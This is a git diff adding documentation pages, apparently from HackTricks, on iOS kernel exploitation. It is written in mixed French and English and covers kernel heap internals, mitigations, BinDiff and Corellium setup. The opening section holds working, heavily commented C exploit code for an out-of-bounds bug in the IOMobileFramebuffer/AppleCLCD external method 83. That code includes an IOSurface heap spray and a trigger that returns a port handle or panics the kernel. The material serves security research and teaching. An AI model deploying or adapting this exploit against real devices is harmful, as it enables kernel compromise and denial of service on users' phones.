+io_connect_t shared_user_client_conn = MACH_PORT_NULL; + +// The "type" argument is the type (selector) of user client to open. +// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the +// external methods we need (incl. selector 83). If this doesn't work on your +// build, try different types or query IORegistry to enumerate. +int type = 2; + +// 1) Locate the IOMobileFramebuffer service in the IORegistry. +// This returns the first matched service object (a kernel object handle). +io_service_t service = IOServiceGetMatchingService( +kIOMasterPortDefault, +IOServiceMatching("IOMobileFramebuffer")); + +if (service == MACH_PORT_NULL) { +printf("failed to open service\n"); +return; +} + +printf("service: 0x%x\n", service); + +// 2) Open a connection (user client) to the service. +// The user client is what exposes external methods to userland. +// 'type' selects which user client class/variant to instantiate. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if (ret != KERN_SUCCESS) { +printf("failed to open userclient: %s\n", mach_error_string(ret)); +return; +} + +printf("client: 0x%x\n", shared_user_client_conn); + +printf("call externalMethod\n"); + +// 3) Prepare input scalars for the external method call. +// The vulnerable path uses a 32-bit scalar as an INDEX into an internal +// array of pointers WITHOUT bounds checking (OOB read / type confusion). +// We set it to a large value to force the out-of-bounds access. +uint64_t scalars[4] = { 0x0 }; +scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup + +// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID). +uint64_t output_scalars[4] = { 0 }; +uint32_t output_scalars_size = 1; + +printf("call s_default_fb_surface\n"); + +// 5) Invoke external method #83. +// On vulnerable builds, this path ends up calling: +// IOMobileFramebufferUserClient::s_displayed_fb_surface(...) +// → IOMobileFramebufferLegacy::get_displayed_surface(...) +// which uses our index to read a pointer and then passes it as IOSurface*. +// If the pointer is bogus, IOSurface code will dereference it and the kernel +// will panic (DoS). +ret = IOConnectCallMethod( +shared_user_client_conn, +83, // **Selector 83**: vulnerable external method +scalars, 1, // input scalars (count = 1; the OOB index) +NULL, 0, // no input struct +output_scalars, &output_scalars_size, // optional outputs +NULL, NULL); // no output struct + +// 6) Check the call result. On many vulnerable targets, you'll see either +// KERN_SUCCESS right before a panic (because the deref happens deeper), +// or an error if the call path rejects the request (e.g., entitlement/type). +if (ret != KERN_SUCCESS) { +printf("failed to call external method: 0x%x --> %s\n", +ret, mach_error_string(ret)); +return; +} + +printf("external method returned KERN_SUCCESS\n"); + +// 7) Clean up the user client connection handle. +IOServiceClose(shared_user_client_conn); +printf("success!\n"); +} +``` +## Arbitrary Read PoC expliquĂ© + +1. **Ouverture du bon user client** + +- `get_appleclcd_uc()` trouve le service **AppleCLCD** et ouvre le **user client type 2**. AppleCLCD et IOMobileFramebuffer partagent la mĂȘme table external-methods ; le type 2 expose **selector 83**, la mĂ©thode vulnĂ©rable. **C'est votre point d'entrĂ©e vers le bug.** E_POC/) + +**Pourquoi 83 est important :** le chemin dĂ©compilĂ© est : + +- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\ +→ `IOMobileFramebufferUserClient::get_displayed_surface(...)`\ +→ `IOMobileFramebufferLegacy::get_displayed_surface(...)`\ +À l'intĂ©rieur de cet appel final, le code **utilise votre scalaire 32 bits comme index de tableau sans vĂ©rification de bornes**, rĂ©cupĂšre un pointeur depuis **`this + 0xA58 + index*8`**, et **le passe en tant que `IOSurface*`** Ă  `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **C'est le OOB + la confusion de type.** + +2. **The heap spray (pourquoi IOSurface apparaĂźt ici)** + +- `do_spray()` utilise **`IOSurfaceRootUserClient`** pour **crĂ©er de nombreux IOSurfaces** et **spray small values** (style `s_set_value`). Cela remplit les kernel heaps voisins avec **des pointeurs vers des objets IOSurface valides**. + +- **Objectif :** lorsque selector 83 lit au-delĂ  de la table lĂ©gitime, la **slot OOB contient probablement un pointeur vers l'un de vos IOSurfaces (rĂ©els)** — donc la dĂ©rĂ©fĂ©rence qui suit **ne plante pas** et **rĂ©ussit**. IOSurface est un primitive classique de kernel spray bien documentĂ©e, et le post de Saar liste explicitement les mĂ©thodes **create / set_value / lookup** utilisĂ©es pour ce flux d'exploitation. + +3. **L'astuce "offset/8" (ce que cet index est vraiment)** + +- Dans `trigger_oob(offset)`, vous dĂ©finissez `scalars[0] = offset / 8`. + +- **Pourquoi diviser par 8 ?** Le kernel fait **`base + index*8`** pour calculer quelle **case de la taille d'un pointeur** lire. Vous choisissez **"numĂ©ro de case N"**, pas un offset en octets. **Huit octets par case** sur du 64-bit. + +- Cette adresse calculĂ©e est **`this + 0xA58 + index*8`**. Le PoC utilise une grosse constante (`0x1200000 + 0x1048`) simplement pour s'avancer **trĂšs hors des limites** vers une rĂ©gion que vous avez essayĂ© de **peupler densĂ©ment avec des pointeurs IOSurface**. **Si le spray "gagne", la case visĂ©e est un `IOSurface*` valide.** + +4. **Ce que renvoie selector 83 (c'est la partie subtile)** + +- L'appel est : + +`IOConnectCallMethod(appleclcd_uc, 83, scalars, 1, NULL, 0, +output_scalars, &output_scalars_size, NULL, NULL);`o + +- En interne, aprĂšs la rĂ©cupĂ©ration du pointeur OOB, le pilote appelle\ +**`IOSurfaceRoot::copyPortNameForSurfaceInTask(task, IOSurface*, out_u32*)`**. + +- **RĂ©sultat :** **`output_scalars[0]` est un Mach port name (handle u32) dans votre task** pour *n'importe quel pointeur d'objet que vous avez fourni via l'OOB*. **Ce n'est pas une fuite d'adresse kernel brute ; c'est un handle en espace utilisateur (send right).** Ce comportement exact (copie d'un *port name*) est montrĂ© dans la dĂ©compilation de Saar. + +**Pourquoi c'est utile :** avec un **port name** vers le (soi-disant) IOSurface, vous pouvez maintenant utiliser des **mĂ©thodes IOSurfaceRoot** comme : + +- **`s_lookup_surface_from_port` (method 34)** → transformer le port en un **surface ID** sur lequel vous pouvez opĂ©rer via d'autres appels IOSurface, et + +- **`s_create_port_from_surface` (method 35)** si vous avez besoin de l'inverse.\ +Saar mentionne explicitement ces mĂ©thodes comme Ă©tape suivante. **Le PoC dĂ©montre que vous pouvez « fabriquer » un handle IOSurface lĂ©gitime Ă  partir d'une case OOB.** [Saaramar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/?utm_source=chatgpt.com) + +Ce [PoC provient de ici](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC/blob/main/poc/exploit.c) et des commentaires ont Ă©tĂ© ajoutĂ©s pour expliquer les Ă©tapes : +```c +#include "exploit.h" + +// Open the AppleCLCD (aka IOMFB) user client so we can call external methods. +io_connect_t get_appleclcd_uc(void) { +kern_return_t ret; +io_connect_t shared_user_client_conn = MACH_PORT_NULL; +int type = 2; // **UserClient type**: variant that exposes selector 83 on affected builds. ⭐ +// (AppleCLCD and IOMobileFramebuffer share the same external methods table.) + +// Find the **AppleCLCD** service in the IORegistry. +io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, +IOServiceMatching("AppleCLCD")); +if(service == MACH_PORT_NULL) { +printf("[-] failed to open service\n"); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD service: 0x%x\n", service); + +// Open a user client connection to AppleCLCD with the chosen **type**. +ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn); +if(ret != KERN_SUCCESS) { +printf("[-] failed to open userclient: %s\n", mach_error_string(ret)); +return MACH_PORT_NULL; +} +printf("[*] AppleCLCD userclient: 0x%x\n", shared_user_client_conn); +return shared_user_client_conn; +} + +// Trigger the OOB index path of external method #83. +// The 'offset' you pass is in bytes; dividing by 8 converts it to the +// index of an 8-byte pointer slot in the internal table at (this + 0xA58). +uint64_t trigger_oob(uint64_t offset) { +kern_return_t ret; + +// The method takes a single 32-bit scalar that it uses as an index. +uint64_t scalars[1] = { 0x0 }; +scalars[0] = offset / 8; // **index = byteOffset / sizeof(void*)**. ⭐ + +// #83 returns one scalar. In this flow it will be the Mach port name +// (a u32 handle in our task), not a kernel pointer. +uint64_t output_scalars[1] = { 0 }; +uint32_t output_scalars_size = 1; + +io_connect_t appleclcd_uc = get_appleclcd_uc(); +if (appleclcd_uc == MACH_PORT_NULL) { +return 0; +} + +// Call external method 83. Internally: +// ptr = *(this + 0xA58 + index*8); // OOB pointer fetch +// IOSurfaceRoot::copyPortNameForSurfaceInTask(task, (IOSurface*)ptr, &out) +// which creates a send right for that object and writes its port name +// into output_scalars[0]. If ptr is junk → deref/panic (DoS). +ret = IOConnectCallMethod(appleclcd_uc, 83, +scalars, 1, +NULL, 0, +output_scalars, &output_scalars_size, +NULL, NULL); + +if (ret != KERN_SUCCESS) { +printf("[-] external method 83 failed: %s\n", mach_error_string(ret)); +return 0; +} + +// This is the key: you get back a Mach port name (u32) to whatever +// object was at that OOB slot (ideally an IOSurface you sprayed). +printf("[*] external method 83 returned: 0x%llx\n", output_scalars[0]); +return output_scalars[0]; +} + +// Heap-shape with IOSurfaces so an OOB slot likely contains a pointer to a +// real IOSurface (easier & stabler than a fully fake object). +bool do_spray(void) { +char data[0x10]; +memset(data, 0x41, sizeof(data)); // Tiny payload for value spraying. + +// Get IOSurfaceRootUserClient (reachable from sandbox/WebContent). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +printf("[-] do_spray: failed to allocate new iosurface_uc\n"); +return false; +} + +// Create many IOSurfaces and use set_value / value spray helpers +// (Brandon Azad-style) to fan out allocations in kalloc. ⭐ +int *surface_ids = (int*)malloc(SURFACES_COUNT * sizeof(int)); +for (size_t i = 0; i < SURFACES_COUNT; ++i) { +surface_ids[i] = create_surface(iosurface_uc); // s_create_surface +if (surface_ids[i] <= 0) { +return false; +} + +// Spray small values repeatedly: tends to allocate/fill predictable +// kalloc regions near where the IOMFB table OOB will read from. +// The “with_gc” flavor forces periodic GC to keep memory moving/packed. +if (IOSurface_spray_with_gc(iosurface_uc, surface_ids[i], +20, 200, // rounds, per-round items +data, sizeof(data), +NULL) == false) { +printf("iosurface spray failed\n"); +return false; +} +} +return true; +} + +int main(void) { +// Ensure we can talk to IOSurfaceRoot (some helpers depend on it). +io_connect_t iosurface_uc = get_iosurface_root_uc(); +if (iosurface_uc == MACH_PORT_NULL) { +return 0; +} + +printf("[*] do spray\n"); +if (do_spray() == false) { +printf("[-] shape failed, abort\n"); +return 1; +} +printf("[*] spray success\n"); + +// Trigger the OOB read. The magic constant chooses a pointer-slot +// far beyond the legit array (offset is in bytes; index = offset/8). +// If the spray worked, this returns a **Mach port name** (handle) to one +// of your sprayed IOSurfaces; otherwise it may crash. +printf("[*] trigger\n"); +trigger_oob(0x1200000 + 0x1048); +return 0; +} +``` +## RĂ©fĂ©rences +- [Article original de Saar Amar](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/) +- [Exploit PoC code](https://github.com/saaramar/IOMobileFrameBuffer_LPE_POC) +- [Recherche de jsherman212](https://jsherman212.github.io/2021/11/28/popping_ios14_with_iomfb.html?utm_source=chatgpt.com) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md new file mode 100644 index 000000000..2f8611427 --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -0,0 +1,259 @@ +# iOS Exploiting + +{{#include ../../banners/hacktricks-training.md}} + +## iOS Exploit Mitigations + +- **Code Signing** in iOS works by requiring every piece of executable code (apps, libraries, extensions, etc.) to be cryptographically signed with a certificate issued by Apple. When code is loaded, iOS verifies the digital signature against Apple’s trusted root. If the signature is invalid, missing, or modified, the OS refuses to run it. This prevents attackers from injecting malicious code into legitimate apps or running unsigned binaries, effectively stopping most exploit chains that rely on executing arbitrary or tampered code. +- **CoreTrust** is the iOS subsystem responsible for enforcing code signing at runtime. It directly verifies signatures using Apple’s root certificate without relying on cached trust stores, meaning only binaries signed by Apple (or with valid entitlements) can execute. CoreTrust ensures that even if an attacker tampers with an app after installation, modifies system libraries, or tries to load unsigned code, the system will block execution unless the code is still properly signed. This strict enforcement closes many post-exploitation vectors that older iOS versions allowed through weaker or bypassable signature checks. +- **Data Execution Prevention (DEP)** marque les rĂ©gions mĂ©moire comme non-exĂ©cutables Ă  moins qu'elles ne contiennent explicitement du code. Cela empĂȘche les attaquants d'injecter du shellcode dans des rĂ©gions de donnĂ©es (comme le stack ou le heap) et de l'exĂ©cuter, les forçant Ă  s'appuyer sur des techniques plus complexes comme le ROP (Return-Oriented Programming). +- **ASLR (Address Space Layout Randomization)** randomise les adresses mĂ©moire du code, des libraries, du stack et du heap Ă  chaque exĂ©cution du systĂšme. Cela rend beaucoup plus difficile pour un attaquant de prĂ©dire oĂč se trouvent des instructions ou gadgets utiles, brisant de nombreuses chaĂźnes d'exploit qui dĂ©pendent d'agencements mĂ©moire fixes. +- **KASLR (Kernel ASLR)** applique le mĂȘme concept de randomisation au kernel iOS. En mĂ©langeant l'adresse de base du kernel Ă  chaque boot, il empĂȘche les attaquants de localiser de façon fiable les fonctions ou structures du kernel, augmentant la difficultĂ© des exploits au niveau kernel qui viserait Ă  prendre le contrĂŽle complet du systĂšme. +- **Kernel Patch Protection (KPP)**, aussi connu sous **AMCC (Apple Mobile File Integrity)** sur iOS, surveille en continu les pages de code du kernel pour s'assurer qu'elles n'ont pas Ă©tĂ© modifiĂ©es. Si une altĂ©ration est dĂ©tectĂ©e — comme un exploit essayant de patcher des fonctions kernel ou d'insĂ©rer du code malveillant — l'appareil panique et redĂ©marre immĂ©diatement. Cette protection rend les exploits kernel persistants beaucoup plus difficiles, car les attaquants ne peuvent pas simplement hooker ou patcher les instructions du kernel sans provoquer un crash systĂšme. +- **Kernel Text Readonly Region (KTRR)** est une fonctionnalitĂ© de sĂ©curitĂ© matĂ©rielle introduite sur les appareils iOS. Elle utilise le contrĂŽleur mĂ©moire du CPU pour marquer la section de code (text) du kernel comme en lecture seule de façon permanente aprĂšs le boot. Une fois verrouillĂ©e, mĂȘme le kernel lui-mĂȘme ne peut pas modifier cette rĂ©gion mĂ©moire. Cela empĂȘche les attaquants — et mĂȘme du code privilĂ©giĂ© — de patcher les instructions du kernel Ă  l'exĂ©cution, fermant une grande classe d'exploits qui reposaient sur la modification directe du code kernel. +- **Pointer Authentication Codes (PAC)** utilisent des signatures cryptographiques insĂ©rĂ©es dans des bits inutilisĂ©s des pointeurs pour vĂ©rifier leur intĂ©gritĂ© avant utilisation. Lorsqu'un pointeur (comme une adresse de retour ou un function pointer) est créé, le CPU le signe avec une clĂ© secrĂšte ; avant la dĂ©rĂ©fĂ©rence, le CPU vĂ©rifie la signature. Si le pointeur a Ă©tĂ© altĂ©rĂ©, la vĂ©rification Ă©choue et l'exĂ©cution s'arrĂȘte. Cela empĂȘche les attaquants de forger ou rĂ©utiliser des pointeurs corrompus dans des exploits de corruption mĂ©moire, rendant des techniques comme le ROP ou le JOP beaucoup plus difficiles Ă  rĂ©aliser de maniĂšre fiable. +- **Privilege Access never (PAN)** est une fonctionnalitĂ© matĂ©rielle qui empĂȘche le kernel (mode privilĂ©giĂ©) d'accĂ©der directement Ă  la mĂ©moire user-space sauf s'il active explicitement cet accĂšs. Cela arrĂȘte les attaquants ayant obtenu de l'exĂ©cution de code kernel de lire ou Ă©crire facilement la mĂ©moire utilisateur pour escalader des privilĂšges ou voler des donnĂ©es sensibles. En imposant une sĂ©paration stricte, PAN rĂ©duit l'impact des exploits kernel et bloque de nombreuses techniques courantes d'escalade de privilĂšges. +- **Page Protection Layer (PPL)** est un mĂ©canisme de sĂ©curitĂ© iOS qui protĂšge les rĂ©gions mĂ©moire critiques gĂ©rĂ©es par le kernel, surtout celles liĂ©es au code signing et aux entitlements. Il applique des protections d'Ă©criture strictes en utilisant la MMU (Memory Management Unit) et des vĂ©rifications additionnelles, garantissant que mĂȘme le code kernel privilĂ©giĂ© ne peut pas modifier arbitrairement des pages sensibles. Cela empĂȘche les attaquants ayant obtenu l'exĂ©cution au niveau kernel de manipuler des structures critiques pour la sĂ©curitĂ©, rendant la persistance et les contournements du code-signing significativement plus difficiles. + +## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era) + +The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones." +Each zone only stores allocations of a single size class. + +From the screenshot: + +| Zone Name | Element Size | Example Use | +|----------------------|--------------|-----------------------------------------------------------------------------| +| `default.kalloc.16` | 16 bytes | TrĂšs petites structures du kernel, pointeurs. | +| `default.kalloc.32` | 32 bytes | Petites structures, en-tĂȘtes d'objets. | +| `default.kalloc.64` | 64 bytes | Messages IPC, tout petits buffers kernel. | +| `default.kalloc.128` | 128 bytes | Objets moyens comme des parties de `OSObject`. | +| `default.kalloc.256` | 256 bytes | Messages IPC plus grands, tableaux, structures de pĂ©riphĂ©riques. | +| 
 | 
 | 
 | +| `default.kalloc.1280`| 1280 bytes | Grandes structures, mĂ©tadonnĂ©es IOSurface/graphics. | + +**How it worked:** +- Each allocation request gets **rounded up** to the nearest zone size. +(E.g., a 50-byte request lands in the `kalloc.64` zone). +- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone. +- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**. + +This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class. + +### The freelist + +Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks. + +- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone. + +- The zone kept a HEAD pointer to the first free chunk. + +- Allocation always used the current HEAD: + +1. Pop HEAD (return that memory to the caller). + +2. Update HEAD = HEAD->next (stored in the freed chunk’s header). + +- Freeing pushed chunks back: + +- `freed_chunk->next = HEAD` + +- `HEAD = freed_chunk` + +So the freelist was just a linked list built inside the freed memory itself. + +Normal state: +``` +Zone page (64-byte chunks for example): +[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ] + +Freelist view: +HEAD ──â–ș [ F ] ──â–ș [ F ] ──â–ș [ F ] ──â–ș [ F ] ──â–ș NULL +(next ptrs stored at start of freed chunks) +``` +### Exploiter la freelist + +Parce que les 8 premiers octets d'un free chunk = freelist pointer, un attaquant pourrait le corrompre : + +1. **Heap overflow** dans un freed chunk adjacent → Ă©craser son “next” pointer. + +2. **Use-after-free** Ă©criture dans un freed object → Ă©craser son “next” pointer. + +Ensuite, lors de la prochaine allocation de cette taille : + +- L'allocateur retire le chunk corrompu. + +- Suit le “next” pointer fourni par l'attaquant. + +- Retourne un pointer vers de la mĂ©moire arbitraire, permettant des fake object primitives ou un targeted overwrite. + +Exemple visuel de freelist poisoning: +``` +Before corruption: +HEAD ──â–ș [ F1 ] ──â–ș [ F2 ] ──â–ș [ F3 ] ──â–ș NULL + +After attacker overwrite of F1->next: +HEAD ──â–ș [ F1 ] +(next) ──â–ș 0xDEAD_BEEF_CAFE_BABE (attacker-chosen) + +Next alloc of this zone → kernel hands out memory at attacker-controlled address. +``` +This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control. + +### Heap Grooming / Feng Shui +Le but du heap grooming est de **façonner la disposition du heap** afin que lorsqu'un attaquant dĂ©clenche un overflow ou un use-after-free, l'objet cible (victim) se trouve juste Ă  cĂŽtĂ© d'un objet contrĂŽlĂ© par l'attaquant.\ +De cette façon, lorsqu'une corruption mĂ©moire survient, l'attaquant peut de maniĂšre fiable Ă©craser l'objet victim avec des donnĂ©es contrĂŽlĂ©es. + +**Étapes :** + +1. Spray allocations (fill the holes) +- Avec le temps, le kernel heap se fragmente : certaines zones ont des trous oĂč d'anciens objets ont Ă©tĂ© libĂ©rĂ©s. +- L'attaquant commence par effectuer de nombreuses allocations factices pour remplir ces espaces, de sorte que le heap devienne « compact » et prĂ©visible. + +2. Force new pages +- Une fois les trous remplis, les allocations suivantes doivent provenir de nouvelles pages ajoutĂ©es Ă  la zone. +- Des pages neuves signifient que les objets seront regroupĂ©s, et non dispersĂ©s dans une mĂ©moire fragmentĂ©e plus ancienne. +- Cela donne Ă  l'attaquant un bien meilleur contrĂŽle sur les voisins. + +3. Place attacker objects +- L'attaquant effectue Ă  nouveau un spray, crĂ©ant de nombreux objets contrĂŽlĂ©s par l'attaquant dans ces nouvelles pages. +- Ces objets sont prĂ©visibles en taille et en emplacement (puisqu'ils appartiennent tous Ă  la mĂȘme zone). + +4. Free a controlled object (make a gap) +- L'attaquant libĂšre dĂ©libĂ©rĂ©ment un de ses propres objets. +- Cela crĂ©e un « trou » dans le heap, que l'allocateur rĂ©utilisera pour la prochaine allocation de cette taille. + +5. Victim object lands in the hole +- L'attaquant force le kernel Ă  allouer l'objet victim (celui qu'il veut corrompre). +- Puisque le trou est le premier emplacement disponible dans le freelist, le victim est placĂ© exactement lĂ  oĂč l'attaquant a libĂ©rĂ© son objet. + +6. Overflow / UAF into victim +- À prĂ©sent, l'attaquant a des objets contrĂŽlĂ©s autour du victim. +- En overflowant depuis un de ses propres objets (ou en rĂ©utilisant un objet freed), il peut de maniĂšre fiable Ă©craser les champs mĂ©moire du victim avec des valeurs choisies. + +**Pourquoi ça marche** : + +- PredictabilitĂ© de l'allocateur de zone : les allocations de la mĂȘme taille proviennent toujours de la mĂȘme zone. +- Comportement du freelist : les nouvelles allocations rĂ©utilisent d'abord le chunk le plus rĂ©cemment freed. +- Heap sprays : l'attaquant remplit la mĂ©moire avec un contenu prĂ©visible et contrĂŽle la disposition. +- RĂ©sultat final : l'attaquant contrĂŽle oĂč l'objet victim atterrit et quelles donnĂ©es se trouvent Ă  cĂŽtĂ© de lui. + +--- + +## Modern Kernel Heap (iOS 15+/A12+ SoCs) + +Apple a durci l'allocateur et rendu le **heap grooming beaucoup plus difficile** : + +### 1. From Classic kalloc to kalloc_type +- **Before**: un seul zone `kalloc.` existait pour chaque classe de taille (16, 32, 64, 
 1280, etc.). Tout objet de cette taille y Ă©tait placĂ© → les objets attaquants pouvaient se retrouver Ă  cĂŽtĂ© d'objets kernel privilĂ©giĂ©s. +- **Now**: +- Les objets kernel sont allouĂ©s depuis des **typed zones** (`kalloc_type`). +- Chaque type d'objet (par ex. `ipc_port_t`, `task_t`, `OSString`, `OSData`) dispose de sa propre zone dĂ©diĂ©e, mĂȘme s'ils ont la mĂȘme taille. +- Le mapping entre type d'objet ↔ zone est gĂ©nĂ©rĂ© par le **systĂšme kalloc_type** Ă  la compilation. + +Un attaquant ne peut plus garantir que des donnĂ©es contrĂŽlĂ©es (`OSData`) se retrouvent adjacentes Ă  des objets kernel sensibles (`task_t`) de la mĂȘme taille. + +### 2. Slabs and Per-CPU Caches +- Le heap est divisĂ© en **slabs** (pages de mĂ©moire dĂ©coupĂ©es en chunks de taille fixe pour cette zone). +- Chaque zone a un **cache par CPU** pour rĂ©duire la contention. +- Chemin d'allocation : +1. Essayer le cache per-CPU. +2. Si vide, prendre du global freelist. +3. Si le freelist est vide, allouer un nouveau slab (une ou plusieurs pages). +- **Avantage** : cette dĂ©centralisation rend les heap sprays moins dĂ©terministes, car les allocations peuvent ĂȘtre satisfaites Ă  partir des caches de diffĂ©rents CPUs. + +### 3. Randomization inside zones +- À l'intĂ©rieur d'une zone, les Ă©lĂ©ments freed ne sont pas rendus dans un simple ordre FIFO/LIFO. +- XNU moderne utilise des **pointeurs freelist encodĂ©s** (safe-linking comme Linux, introduit vers iOS 14). +- Chaque pointeur freelist est **XOR-encodĂ©** avec un cookie secret propre Ă  la zone. +- Cela empĂȘche les attaquants de forger un faux pointeur freelist s'ils obtiennent une primitive d'Ă©criture. +- Certaines allocations sont **randomisĂ©es dans leur placement au sein d'un slab**, donc le spray ne garantit pas l'adjacence. + +### 4. Guarded Allocations +- Certains objets kernel critiques (par ex. credentials, task structures) sont allouĂ©s dans des **guarded zones**. +- Ces zones insĂšrent des **guard pages** (mĂ©moire non mappĂ©e) entre les slabs ou utilisent des **redzones** autour des objets. +- Tout overflow dans la guard page dĂ©clenche un fault → panic immĂ©diat au lieu d'une corruption silencieuse. + +### 5. Page Protection Layer (PPL) and SPTM +- MĂȘme si vous contrĂŽlez un objet freed, vous ne pouvez pas modifier toute la mĂ©moire kernel : +- **PPL (Page Protection Layer)** impose que certaines rĂ©gions (par ex. donnĂ©es de code signing, entitlements) soient **en lecture seule** mĂȘme pour le kernel lui‑mĂȘme. +- Sur les appareils **A15/M2+**, ce rĂŽle est remplacĂ©/renforcĂ© par **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**. +- Ces couches matĂ©rielles signifient que les attaquants ne peuvent pas escalader depuis une simple corruption de heap vers la mise Ă  jour arbitraire de structures de sĂ©curitĂ© critiques. + +### 6. Large Allocations +- Toutes les allocations ne passent pas par `kalloc_type`. +- Les trĂšs grosses requĂȘtes (au‑dessus d'environ ~16KB) contournent les typed zones et sont servies directement depuis la **kernel VM (kmem)** via des allocations de pages. +- Celles-ci sont moins prĂ©visibles, mais aussi moins exploitables, puisqu'elles ne partagent pas de slabs avec d'autres objets. + +### 7. Allocation Patterns Attackers Target +MĂȘme avec ces protections, les attaquants cherchent toujours : +- **Reference count objects** : si vous pouvez altĂ©rer les compteurs retain/release, vous pouvez provoquer des use-after-free. +- **Objects with function pointers (vtables)** : corrompre l'un d'eux donne toujours du contrĂŽle de flux. +- **Shared memory objects (IOSurface, Mach ports)** : ces objets restent des cibles car ils font le pont user ↔ kernel. + +Mais — contrairement Ă  avant — vous ne pouvez plus simplement sprayer `OSData` en espĂ©rant qu'il se retrouve voisin d'un `task_t`. Il faut des bugs spĂ©cifiques au type ou des info leaks pour rĂ©ussir. + +### Example: Allocation Flow in Modern Heap + +Supposons que userspace appelle IOKit pour allouer un objet `OSData` : + +1. **Type lookup** → `OSData` mappe vers la zone `kalloc_type_osdata` (taille 64 octets). +2. VĂ©rifier le cache per-CPU pour des Ă©lĂ©ments libres. +- Si trouvĂ© → en retourner un. +- Si vide → passer au global freelist. +- Si le freelist est vide → allouer un nouveau slab (page de 4KB → 64 chunks de 64 octets). +3. Retourner le chunk Ă  l'appelant. + +**Freelist pointer protection** : +- Chaque chunk freed stocke l'adresse du prochain chunk libre, mais encodĂ©e avec une clĂ© secrĂšte. +- Écraser ce champ avec des donnĂ©es d'attaquant ne fonctionnera pas Ă  moins de connaĂźtre la clĂ©. + +## Comparison Table + +| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** | +|---------------------------------|------------------------------------------------------------|--------------------------------------------------| +| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) | +| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) | +| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) | +| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects | +| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages | +| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks | + +## (Old) Physical Use-After-Free via IOSurface + +{{#ref}} +ios-physical-uaf-iosurface.md +{{#endref}} + +--- + +## Ghidra Install BinDiff + +Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it. + +Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and installez-le mĂȘme s'il y a une incompatibilitĂ© de version. + +### Using BinDiff with Kernel versions + +1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files. +2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md +{{#endref}} + +3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches. +4. Open each kernelcache so they are automatically analyzed by Ghidra. +5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them. +6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache. + +--- + +## Finding the right XNU version + +If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel). + +For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`. + + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting/ios-corellium.md b/src/binary-exploitation/ios-exploiting/ios-corellium.md new file mode 100644 index 000000000..17511ce8d --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/ios-corellium.md @@ -0,0 +1,79 @@ +# iOS Comment se connecter Ă  Corellium + +{{#include ../../banners/hacktricks-training.md}} + +## **PrĂ©requis** +- A Corellium iOS VM (jailbroken or not). Dans ce guide, nous supposons que vous avez accĂšs Ă  Corellium. +- Local tools: **ssh/scp**. +- (Optionnel) **SSH keys** ajoutĂ©es Ă  votre projet Corellium pour des connexions sans mot de passe. + + +## **Se connecter Ă  la VM iPhone depuis localhost** + +### A) **Quick Connect (no VPN)** +0) Ajoutez votre SSH key dans **`/admin/projects`** (recommandĂ©). +1) Ouvrez la page de l'appareil → **Connect** +2) **Copy the Quick Connect SSH command** shown by Corellium and paste it in your terminal. +3) Entrez le mot de passe ou utilisez votre SSH key (recommandĂ©). + +### B) **VPN → direct SSH** +0) Ajoutez votre SSH key dans **`/admin/projects`** (recommandĂ©). +1) Page de l'appareil → **CONNECT** → **VPN** → download `.ovpn` and connect with any VPN client that supports TAP mode. (Check 